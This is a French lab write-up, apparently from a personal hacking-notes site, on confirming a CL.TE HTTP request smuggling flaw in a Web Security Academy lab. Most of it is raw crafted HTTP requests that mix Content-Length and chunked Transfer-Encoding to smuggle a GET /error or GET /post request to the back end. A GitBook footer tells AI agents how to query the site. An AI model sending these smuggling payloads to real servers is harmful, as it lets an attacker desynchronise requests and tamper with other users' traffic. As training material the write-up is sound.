> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Confirmation de vulnérabilité CL.TE via réponses différentielles

### Smuggling de requêtes HTTP, confirmation d'une vulnérabilité CL.TE via des réponses différentielles

Ce laboratoire utilise un serveur frontal et un serveur interne. Le serveur frontal **ne gère pas le chunked** l'encodage. / L'objectif est de **faire passer furtivement une requête vers le back-end** de sorte que la prochaine requête vers **/** déclenche une réponse **404 Not Found**.

> **Remarque :** Même si le laboratoire accepte HTTP/2, la méthode requise n'est utilisable qu'en HTTP/1. / **Astuce :** Le plugin HTTP Request Smuggler de Burp aide à recalculer automatiquement les longueurs.

#### Observation initiale

Le front-end interprète **Content-Length**, tandis que le back-end est basé sur **Transfer-Encoding**. / En envoyant une requête minimale :

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Puis en ajoutant un paramètre, la longueur passe logiquement à 9 :

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="/files/7c01bc93adae35f93e19423c53190a9fe475a509" alt=""><figcaption></figcaption></figure>

Pour éviter le recalcul automatique de la longueur, un nouvel en-tête est introduit.

<figure><img src="/files/13de403f7601c93c02d475e086547f26e1b93e90" alt="" width="392"><figcaption></figcaption></figure>

#### En ajoutant *Transfer-Encoding*

Si nous ajoutons :

```http
Transfer-Encoding: chunked
```

le serveur renvoie une erreur de désynchronisation :

HTTP/1.1 500 Erreur interne du serveur

<figure><img src="/files/c3a1d865d43539d44d4d79b9c6a5040a7a51a27f" alt=""><figcaption></figcaption></figure>

Cependant, lors de l'envoi d'une charge utile chunked valide :

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="/files/7aba56d12812a3590835efaf848c1b847332374c" alt=""><figcaption></figcaption></figure>

la réponse revient en **200 OK**.

<figure><img src="/files/88a538cc0978bc9bd279542ae82feb1bd7a64e46" alt=""><figcaption></figcaption></figure>

Nous pouvons aussi tester :

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Injection d'une requête vers le back-end

Pour obtenir un **404**, vous devez forcer le back-end à traiter une requête supplémentaire. / Si l'on ajoute :

```http
GET /error HTTP/1.1
Test : A
```

et que le back-end interprète correctement la requête dissimulée, il exécute le `GET /error`.

Exemple complet :

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Test : A
```

La première réponse est en **200**, mais la requête suivante envoyée par le navigateur déclenche un **404**, preuve de désynchronisation.

<figure><img src="/files/705537b7d51dc576dc2fb2524afb3e7adcaff99d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2543cf08e2dcc1b3b38429b8b56a207d8c0eba8b" alt=""><figcaption></figcaption></figure>

#### Variation : exécuter une autre page

Si vous voulez que le back-end exécute une autre ressource, par exemple :

```http
GET /post?postId=4 HTTP/1.1
Test : A
```

alors la page principale affichera le contenu correspondant à l'article 4, confirmant que la requête dissimulée a été traitée par le back-end.

<figure><img src="/files/c18469e8de4c56992cb4e6ea2fc1338bbd5fd6fe" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
